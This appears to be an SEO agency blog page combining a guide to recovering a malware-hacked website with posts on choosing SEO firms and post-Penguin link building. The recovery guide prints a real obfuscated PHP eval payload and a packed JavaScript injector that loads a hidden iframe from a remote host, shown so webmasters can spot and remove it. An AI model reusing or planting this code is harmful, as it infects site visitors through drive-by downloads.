It’s a beautiful Monday morning and you walk into work. You go to sit down and check your website statistics from last week and the weekend and your heart sinks. Your website traffic is down, you have multiple warnings from Google about malware on your website and you have no idea what just happened. Was I hacked? Is this an error? Did that intern just…

No, your staff didn’t mess up the page or fumble the server, your site was compromised. Through various methods, a hacker has accessed your website, uploaded malicious code and skipped out.

Now, your visitors may get their computers infected and your search engine rankings might be at risk.  So, what do you do? Continue reading; let’s study the psychology and reasoning of such attacks.

What is a site hack? Why does it happen?

This might be a pretty obvious question. Why would somebody install malware or a virus on a website/computer? Ninety percent of the time it’s for financial gain. Ten percent of the time it’s just for the fun of it. What we’re seeing now is a huge increase in scareware. This is a form of malware that tricks you into buying a software to cure the scareware. The majority of people believe the scareware is a real Microsoft virus scanner — when in reality, the "scanner" is the malware acting as scareware.

There could be valuable information on internal networks a hacker might want. They could simply want to spread their malware to as many computers as possible for the purpose of extortion.

So what exactly is a site hack? The answer is simple: somebody accessed and modified code on your website without permission. From my experience, about 99% of the time there is a piece of JavaScript (JS) code that has been added to each index.html/php page.
Once the hacker has access to your website, they will inject this malicious JS code into your files. The code can do a number of things, such as: redirect the user to a different page (usually spam), redirect the website’s PageRank (via links) to the hacker’s site or client’s site, or worse case, the JS code could trigger "drive by" downloading of the malware to infect the website’s visitors’ computers. All of these are bad for business, and bad for your users and your staff.

Possible causes

Let’s face it, even top notch security cannot always protect you. There are backdoors to all web elements, especially if you use a Content Management System (CMS). If you run WordPress, Joomla, SimpleCMS, Magento, or any other open source CMS, there is a strong possibility your site can be compromised with known SQL injections.

The most common access point for a website malware hack is not the website, but the computers on which it was developed and accessed. Assuming all of the software on your website is up to date, and all of your updates/patches are working fine, you will often see user computers that are infected. How does this happen?
A hacker tries to hack a website, but it’s secure, so he skips it and goes to a less secure site. The hacker accesses the website, installs malicious script to enable "drive-by" downloads (the ability for the script to auto-install and run malware). A user who is a webmaster or has access to his website visits the site.  The JS auto loads and runs, then installs the malware copy on the visitor’s computers.

Remember, our visitor is a webmaster…  Once the webmaster visits the compromised computer, he may see something funny, like a quick flash on a screen, multiple hourglass icons when seemingly idle and an increase in running tasks (on Windows) found in the Task Manager.

Now, the webmaster’s computer has the malware installed on it. It’s not on his website — so what gives?  How does the malware make it to the website?  It’s simple, really…

From this point on, there are no signs that the visitor (or our webmaster) is infected. While the webmaster is working, the malware is working, too – in the background. While the visitor continues their Internet browsing, the malware is scanning known directories for user login details. The malware is looking for – nope, not banking, not PayPal, not Facebook – CoreFTP and FileZilla logins.

Did you know that most common FTP programs store your passwords in PLAIN TEXT? That means once the malware finds the common directories and locations of stored passwords, the nasty software sends that information to the hacker. Now, the hacker has access to your website to regenerate his malware and redistribute on your website.

How to fix/clean:

Cleaning out malware can be a difficult, stressful and time-consuming task.  If you’re not too familiar with code, and don’t know what is supposed to "look right" on your website, you might want to call a professional. However, assuming you’re comfortable, there are a few areas you should look into.

The first step is cleaning. You must first flush your system clean of the virus and malware before you attempt a fix. Fixing your website before a program scan and clean will only repeat the cycle, and you will always play catch up. Below is a list of what should be done in an orderly fashion:

• Report the incident to your hosting provider and/or IT staff.
• Scan all computers that have access to your website. We mean ALL computers.
• Run multiple scanning tools. Personally, I suggest the following:  Malware Bytes, SpyBot Search and Destroy, ComboFix and Microsoft Security Essentials.

Remember: update your virus scanner before all scans.

• Scan your startup directory. In Windows, go to Run>msconfig and scan each item.
• Through your Registry Editor (Windows), scroll through each "Run" entries to look for suspicious items.
• Change ALL passwords associated with your website, CMS admin sections, FTP, MySQL, control panels, EVERYTHING.
• Download all of your files from your website (for review and analyzing the hacked code).

If you have a backup of your website, now is the time to restore. If you do not have one, ask to see if your hosting company has one. If you don’t, you will have to manually go through lines of code. Don’t worry; it’s more time consuming than challenging.

You don’t have a backup of your website? Don’t panic; there is the manual way to remove these links.  It’s going to take time, and a lot of finding.
The most logical thing to do would be to download your entire FTP and simply sort the files by the date they were modified. Obviously, the compromised files would have been accessed last. Typically, I’ve seen only index.php files been hit. When you scan the code, you want to look for weird encrypted JS on the very top or very bottom of the code. Here’s a sample from one recent malware (this is a real example):

Encrypted:
<?php $fyw_jmzlq = array("eNqtWgl32siy/iuMT05sXjyOWg","ugccjFjsHGsWDAgIGZHA4I2SzC","cFjCku…REMOVED-URL…/04U8HHmkbE78MhDn","9VASffpah4/LLvGfj/8PWGX41A","==");eval("x65x76x61x6Cx28x67x7Ax75x6E…removed…x29x29x29x29x3B");?

JS:
<sc ript>eval(function(p,a,c,k,e,d){e=function(c){return(c<a?”:e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,'g’),k[c])}}return p}(‘i 9(){a=6.h(‘b’);7(!a){5 0=6.j(‘k’);6.g.l(0);0.n=’b';0.4.d=’8′;0.4.c=’8′;0.4.e=’f';0.m=’w://z.o.B/C.D?t=E’}}5 2=A.x.q();7(((2.3("p")!=-1&&2.3("r")==-1&&2.3("s")==-1))&&2.3("v")!=-1){5 t=u("9()",y)}’,41,41,’el||ua|indexOf|style|var|document|if|1px|MakeFrameEx|element|yahoo_api|height| width|display|none|body|getElementById|function|createElement|iframe|appendChild|src|id|nl|msie| toLowerCase|opera|webtv||setTimeout|windows|http|userAgent|1000|juyfdjhdjdgh|navigator|ai| showthread|php|72241732′.split(‘|’),0,{}))
</sc ript>

As you can see, from the above real world example, these malicious codes are usually pretty easy to spot if you know what you’re looking for. If you’re proceeding with a manual remove, you will need to manually review and edit every file infected with the above code. Simply removing the code from the file and re-uploading will cure this problem. Please make sure to double check all files both by visually scanning, and then by sorting all of them by modified date — to ensure you captured all compromised files.

The problem is not solved yet. Assuming your website was hit with malware, you should review your Google/Bing Webmaster Tools to verify that you fixed any problems Goolge/Bing found. Usually, this is simply done with a response to a notification or a reconsideration request. Google is very good at restoring rankings once a problem is fixed. You should allow 7-14 days for this to fully process.
Prevention

Depending on the size of your site and compromise, a situation like this could put your website offline for days, if not weeks — costing you business and visitors. So, what can be done to not be one of the victims? Here are a few good ideas.

If you run a CMS (such as Joomla or WordPress) on your website, there are a few security measures you should take, such as:

• keep your CMS updated;
• hide default login areas (such as /administrator or /wp-admin);
• change default user’s names (most CMSes have "admin" as the default login, so try to change this to something a bit more personalized and secure);
• ensure your hosting provider keeps their servers secure; and
• install and configure backup utilities.

So, as you can tell, there are multiple areas that need to be protected here. Keeping your website secure means that you need to keep your personal computer secure, as do any co-workers or firms who have access to your website. You’re ALL responsible for keeping your website protected. Remember, you must ensure that all computers that are accessing your website via FTP are secure as well. Here are some basic steps you can take:

• Keep up with OS updates and patches.
• Keep all software updated and patched.
• Regularly scan your computer with the aforementioned software –  and keep in mind that your anti-virus software is useless if you do not keep it updated.
• Do NOT save your passwords in your FTP programs.
• If you have multiple FTP users, assign different rights for different uses. Avoid giving all users access to the entire FTP root.

Article originally posted at:  http://www.seochat.com/c/a/google-optimization-help/malware-recovery-what-to-do-when-google-says-youve-been-hacked/

Over the past few weeks, V2interactive has recieved emails and complaints about other SEO companies and how their previous SEO company got their firm/company penalized with Google for unnatural links, for failing to adapt to Penguin and Panda and for spamming their website across the internet.  My advice is the same as anything else; "you get what you pay for".  Much like a car, SEO is performance based.  Which means you can get to point A to B with a cheap, low budget firm; but in reality, you want to get to point A to point B a lot faster, in better style and in a more natural and long-term basis.  For this, we suggest reading the following article that was provided on SEOChat - a forum that I, Josh, moderate personally along with an army of other SEO professionals.  You can view the thread by clicking here:  http://forums.seochat.com/seo-professionals-57/beginner%92s-guide-identifying-genuine-search-engine-optimization-259704.html or you can continue to read below: 

This guide is basically for those who know little to nothing about SEO and are looking forward to hire a SEO company or consultant. My research data is based on my experience and analysis of those companies which called themselves the best.

Don’t hire the best SEO companies.

No good company will ever call itself ‘the best’ and in fact there is no best SEO company anywhere on earth. These self proclaimed best SEO companies put aggressive marketing efforts to entice clients. They often use superlatives throughout their website’s content and make tall claims. Few indicators of deception:

• “We are no. 1 SEO Services Company in India/China/New York…………”
• “We are the largest SEO Company in your region”
• “There is no other SEM company, which understands International Search Market like we do.”
• “We have made groundbreaking accomplishments in the field of web hosting, website Designing, web development, E-commerce solutions, Internet marketing, search engine optimization, multimedia presentations and domain name registration.”

All these are just deceptive ways of attracting clients. Let the media decide who the best is. Often such companies turn out to be the worst.

Old is not Gold in the SEO industry

No. of years in business is not the best way to select a SEO company. A SEO company is only as old as its present employees. This is because when employees leave the company they take the experience and expertise along with them. Moreover what that counts in SEO, is the present knowledge level and skill sets which can’t be evaluated without proper interview. A company doing SEO since 2003 may still be using 2003 skill sets. How you can determine that without finding out how they do SEO now?

Here there is one more important thing to keep in mind. Every Second SEO company claims to be established in the year 1999 or early 2000. Some have been offering SEO services since 1996. Well they can’t date themselves any further as yahoo came into existence in the year 1995 and Google 1998.

“According to industry analyst Danny Sullivan, the phrase search engine optimization probably came into use in 1997.” – Source Wikipedia

Moreover, you won’t be checking their registration records. So you can safely turn a blind eye to deceptions like: Founded in the year blah blah blah.

Big Shot SEO Firms

A company is as good as its SEOs. It doesn’t matter how many offices it has or how big its employee base and client base. So you can safely ignore following deceptions:

Strategic Location
“We are strategically located in Wall Street.” Ok great. But how it will help me in my SEO.

Number of Offices/Branch Network
“We have 38 branches, 21 regional offices, 61 service centers, 111 service franchisees. Our offices are in London, Paris, New York, Singapore, Sydney, Toronto…..”. Ok Cool. But how it will help me in my SEO.

Business Verticals
“We cover a portfolio of 26 Product Groups spread across 300 products including Computer Peripherals, Desktops, Notebooks, TFT-LCD monitors, GSM Mobile phones, DVD players, Home Theatre Systems, Multimedia Speakers, etc, the company enjoys a leading market share”. Cool. But how it will help me in my SEO.

Turnover
“During the last 7 financial years, the company turnover has increased from 1 million dollar in 2001-02 to 15 million dollars in 2008-09 (at a CAGR of 46% over the last 7 financial years). Our aggressive growth journey has been recognized by reputed IT trade journals.” Impressive. But how it will help me in my SEO.

Employee Base
“We have more than 800 employees with over 5000 man years of experience whose experience are channeled into creating innovative and out of the box Search Engine Marketing solutions that match the online market dynamics.” Cool. But how many of them are link builders and content developers.

Client Base
“In last 9 years we have worked with over 5000 satisfied clients spread across the globe, we stand as one of the most competent companies in the SEM industry committed to deliver the best services.” Any company which makes such claim is a fraud for sure. The probability that a company which boast of large client base will be able to give sufficient time to your website is low if not zero. You may be just another number for them in their clients list. Just another dollar to their account. So ask yourself one question. Do I need a dedicated resource?

Big clients:  Big clients prefer the aforesaid big companies. So again it is not the best way to evaluate the performance of a SEO company. Just because a company is serving a big brand won’t make it a better SEO.

Affiliations, Alliances, awards and fancy labels

“We are member of SEOMoz, SEMPO, SEMNE”. All these memberships can be bought and are not awarded or earned solely on the basis of one’s skills and abilities. Consequently such memberships won’t make any company better in SEO.

"Intel Certified Premier Partner, AMD Certified Platinum Partner, Microsoft certified professional, member of chamber of commerce" These alliances have nothing to do with SEO or Internet marketing. Will these alliances make a company better in SEO? The answer is no.

“Most Persuasive Brand (n PCs) : As per a survey conducted by PCQuest, 101st rank amongst top 200 fastest growing companies, 'Best Buy Silver' award, Cyber Media Lab's award, Most Admired Company Survey by CRN magazine…”. Who knows,whether these awards really exist or not? Can you believe all this? Will these awards make a company better in SEO? The answer is no.

“We are ISO 9001:2008 certified company.” Cool. But what does that means. It means an organization meets the requirements of the ISO 9001 standard. It is a standard for quality management of business processes. It means a company follows formalized business processes. Will this certification make a company a better SEO or Internet Marketer? No. Such certification doesn’t guarantee any quality of end products and services.

“Google adwords Qualified Individual Company”. This is the only certification which can somewhat demonstrate competitive distinction. But again it’s no guarantee that a company is better in SEO. Moreover this certification has more to do with PPC than organic SEO. Here one point to keep in mind is that, there are many companies which misuse the ‘qualified logo’ by just pasting it on their web page. Every Qualified Individual/company has its own ‘professional status page’ which you can check out by clicking on the logo. If that logo is not clickable or it takes you to a page other than the page which starts with the following address:
https://adwords.google.com/select/ProfessionalStatus?

Then it’s a fake logo and so is the certification.

Note: you can find adwords qualified individuals/companies by visiting: http://www.whoisagap.com/

Note: SEO Guru, Google search engine expert, Google Certified SEO, Google Search Engine Marketing expert are all misleading titles. Google doesn’t hire SEOs and doesn’t recommend any particular company.

SEO Services

What are the different types of SEO services available? Well, according to some companies:
Business SEO Services, Intense SEO services, guaranteed SEO services, LSI based SEO Services, dedicated SEO services, ABC SEO services, My papa loves u SEO services…….the list is endless.

Companies will go to any extent to sell their so called SEO services. A genuine SEO service includes:
If any company charges you separately for the aforesaid services in the name of SEO, then it is misleading you. There are many SEO companies, which bill separately for ‘SEO Services’ and ‘link building services’. Link building is an essential part of the SEO process and can’t be considered as a separate service.

Guaranteed SEO Services

Run baby run. Any company which provides you guaranteed SEO services (like guaranteed rankings) is misleading you and this is 100% guaranteed. Check out what Google says about guaranteed SEO Services:

Guaranteed Conversions

Nobody can guarantee conversions. Not even you as a webmaster. This is because conversion rate depends upon market conditions and market value, market share, brand awareness and perceived value of the products/services you sell on your website. Consequently, Conversion rates are beyond the control of a SEO company/consultant. Any company which guarantees improving your conversion rate is misleading you.

Guaranteed Quality Traffic

How do you determine the quality of traffic? Through conversions. Since conversions are beyond the control of a SEO company/consultant, quality traffic is also not guaranteed. Any company which guarantees improving the quality of your traffic is misleading you.

Note: Increase in traffic is not directly proportional to increase in sales or leads.

Submission Services

Many SEO companies provide Submission services in the name of SEO. “We will submit your website to 300 search engines, 1000 directories, 200 social bookmarking sites every month.” Such submissions won’t help in improving your rankings. Check out what Google has to say about submission services:

SEO Jargon

Many SEO companies mislead clients by using as much SEO jargon as possible. Following are few examples:

• Title Tag Optimization
• Robots.txt Optimization
• W3c Validation
• Working on HTML Source Code
• Image & Hyperlink Optimization
• Header Tag Optimization
• PageRank Sculpting
• Updating Pages for Local Search

All these are part of on-page optimization. You can’t be billed separately for these services. Nor these services can be shown as special attempts made by a company as a part of their ongoing SEO efforts. Any company which follow such practices will most probably won’t clearly explain what they intend to do. Google has following advice for such type of companies:

SEO packages

What a SEO company sells is what they will eventually do with ur website. Check out this ridiculous SEO package:

• Bronze SEO Package
• Campaign Cost $ 2,700
• Time Period: 6 months
• Man Hours: 280
• Man Hour Rate: $ 9.64
• Cost - 1st Month:$ 700
• Cost - 2nd - 6th Month: $ 400

This SEO package is a crap. You know why. That’s why:

There is no way of finding out in advance how much it will take in terms of cost and efforts to rank your website for targeted keywords. That’s why the aforesaid SEO package is a crap. Any SEO company/consultant who really knows his work will never come out with such packages.

LinkedIn Recommendations:

Companies always come out with new and innovative ways to attract clients. This is one of them. You can often find companies’ head (aka Self Proclaimed SEO Gurus) with tons of recommendations. If you bother to look at their recommendations closely, majority of them are from the employees of their own companies or from people with whom they have business relationships/tie-ups. Very few will be from clients. So you can safely ignore such recommendations.

Ask the Right Questions

Ask following questions from your SEO Company/Consultant:

Q1. What is your experience in my industry?

Q2. What SEO techniques you use to achieve rankings and what type of risks are involved with them?

This is the most important question to ask. The answer to this question can make or break the success of your SEO campaign.

Note: If majority of rankings are achieved through link buying, then this will not help you in the long run. The day u will stop paying your SEO Company, the day they will stop paying to their webmasters. All ur rented backlinks will be gone in no time and ur rankings and PR both will drop like nine pins.

Q3. When I can expect to see results?

Q4. How much increase in traffic I can expect?

Q5. What type of help do you expect from my end?

Basic Knowledge of SEO

You must know at least what is SEO, how search engines work and the Google webmaster Guidelines. This will also help you in separating wheat from the chaff i.e. selecting a genuine SEO.

Check out these important links:

1. http://www.google.com/support/webmasters/bin/answer.py?answer=35291
2. http://www.google.com/support/webmasters/bin/answer.py?answer=70897
3. http://www.google.com/support/webmasters/bin/answer.py?answer=35769

 

What is about SEO marketing that makes it so powerful that online businesses all over seem to make such a big deal out of it? If you own one yourself, you may have heard and read about countless suggestions to try SEO marketing and just how effective it is. Well, it goes without saying that SEO marketing is just as important as having a "Open" sign on your business.  Here's why...

The Internet is actually a living network that changes everyday. Every online business needs to stay on top of everything and be SEO consulting companies have to tread a fine line to compromise their client expectations with the best possible service. As a client, you have to remember that in terms of SEO, there are things that are impossible to do. Part of the responsibility of a good SEO consulting service is to explain to you the basic expectations that are possible, so you can modify your expectations accordingly.  A SEO company that is fully transparent is a sign of trust and loyalty.  Avoid any company that refuses to explain their SEO or link building methods.  A poor link building project can ruin a website's rankings - just look at Google's Penguin Update with the Unnatural Links messages being sent out on a daily basis.

Know that SEO consulting companies have many strategies of implementing search engine optimization. If you make impossible demands such as getting your site in the top 10 search results in a matter of days or weeks and would like the SEO company to make it happen at all costs, you may force them to resort to means which are "inappropriate." This can lead you to get your site de-listed from search engines. Thus, make sure that you demand realistic expectations. Keep in mind that SEO consulting can help you increase your search engine rankings, but they can only do so much. Search engines are quite complicated, and working to please them is not that easy to do, especially with such drastic changes to Google's search engine formula.

What should you expect from an Atlanta based SEO consulting firm?

1. The SEO consulting company should develop a list of suggested keywords for your site, using information that they have researched as to the most common queries performed by surfers. They will work beyond the keywords that you have provided since they might not be the ones used most.
2. Your SEO consulting firm must make the necessary adjustments to the titles and Meta tags on your pages based on the keyword list. They should also target the right pages to be optimized for specific terms.
3. They must perform a general site analysis and optimize all your HTML elements with the use of keywords to add more relevance to your pages.
4. Part of the SEO consulting service is to track down the status of your site on major search engines. They have to check whether all the pages of your site were indexed. This is also part of your Search Engine Report on Keyword Positions.
5. SEO consulting services should include a method to properly build links and raise your websites overall trust factor and authority with Google.
6. Proper SEO consulting involves continuous flow of suggestions for new content that can be readily optimized to emphasize the most important terms included in your keyword list. Your SEO consulting firm must work hand in hand with you in a long term basis.
7. Some pages or even your entire site must be redesigned at some point to make sure your site relevance is maximized. Your SEO consulting company must suggest ways to come up with a web design that is search engine friendly.
8. A reliable SEO consulting company will open-handedly provide you with a list of prospective sites which you can get links that best suits your site. Note that getting links from good sites is very important in raising the relevancy of your site, especially on search engines which use link analysis to determine site ranking.

It is obvious from the list that what you should expect from your SEO consulting firm is a well planned, thorough and effective implementation of your search engine marketing campaign. In time, a SEO consulting services should result to the proper indexing of your website by all the search engines. You should expect your SEO consulting company to give your site relevant and trusting links from other websites which will contribute to the relevancy of your site. Note that SEO consulting is not only limited to fixing meta tags, HTML design, content optimization, and link building, but it involves all other factors that will give more targeted traffic into your site. With good SEO consulting service, you can watch your site find its way to the top of search engine rankings with the proper amount of time.

In the aftermath of the Google Penguin update, it’s easy to understand why webmasters are reluctant to put any real effort into link building. While link building was never exactly easy before the web spam algorithm update was released, thanks to the pesky Penguin, it’s now trickier than ever to actively build links to your site without getting a hefty penalty… but it is possible!  Believe it or not, the Penguin update wasn’t brought out to abolish link building altogether – it was brought out to try and abolish the spammy link building techniques which have been super-successful until earlier this year and which have helped hundreds of thousands of poor quality websites to rank unfairly in the SERPs.

Still not sure about link building to your own website? Here are 5 quick and easy Penguin-friendly link building tips which might just change your mind!

1. Go for quality: While in the past link building has now been about gathering as many unique IPs and backlinks as possible, thanks to Penguin, the focus is now very much on quality over quantity. When you’re weighing up which links to target, look at the site’s PR and subject matter. If it has a high PR and is super-relevant, go for it. If not, you might want to give it a miss. While Google’s penalising directory sites left, right and centre, there still some that are worth getting listed in – these tend to be high quality directories which are constantly moderated and which operate in a particular niche.
2. Create quality content: Although agreeing to give someone a backlink doesn’t take that much time, it can take a bit of effort on the part of the webmaster (particularly if they’re receiving link requests 24-7) so the owner of the site in question has to believe the site they’re linking to is worth it – this is where quality content comes in. The more useful and original your content is, the more likely you are to secure some high quality links so it is worth the effort – plus, unique, quality content will help to protect your site against the next Panda update!
3. Make your content easy to share: You’ve done the hard bit by creating quality, unique content so it’s time to shout about it. Get the word out there that you’ve created it via Facebook, Twitter and LinkedIn and encourage people to share it by installing social sharing buttons on each of your pages. This will generate some powerful social shares and may even help your content to reach some of the key players in your industry who may be able to give you a super-powerful, high PR backlink.
4. Try to match your competitor’s links: With free tools out there like Open Site Explorer, there really is no excuse to remain in the dark regarding your competitor’s links. Going through their links one by one might take time but it can be worth it in the end, particularly if they’re linked to from the resources section of an industry information site! Again, just be share to check the quality of the site before you try to sweet talk the owner into giving you a free backlink.
5. Go for branded anchor text: Thanks to Penguin, the days of using keyword anchor text in backlinks to get your site to rank for a particular keyword are gone – that’s spam and definitely not Penguin-friendly. Instead of keyword anchor text, try to go for branded anchor text which will help to strengthen the brand of your company as a whole and will avoid penalisation next time Penguin rolls around.

About the guest author: Amy Edwards is a dedicated blogger and has years of experience in the SEO and online content industry. She’s currently working as an SEO Manager for UK digital jobs board Bubble Jobs.